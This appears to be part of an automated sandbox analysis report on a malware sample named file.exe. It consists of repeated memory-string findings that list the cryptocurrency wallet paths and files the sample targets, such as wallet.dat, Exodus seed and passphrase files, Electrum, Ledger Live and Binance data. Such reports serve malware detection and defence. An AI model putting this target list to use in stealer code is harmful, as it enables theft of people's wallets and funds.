Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2074918053.000000000050E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \jaxx\Local Storage\
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.0000000001108000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000000.00000002.2074918053.000000000050E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: file__0.localstorage
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2074918053.000000000050E000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: \Coinomi\Coinomi\wallets\
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2076174463.00000000010A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
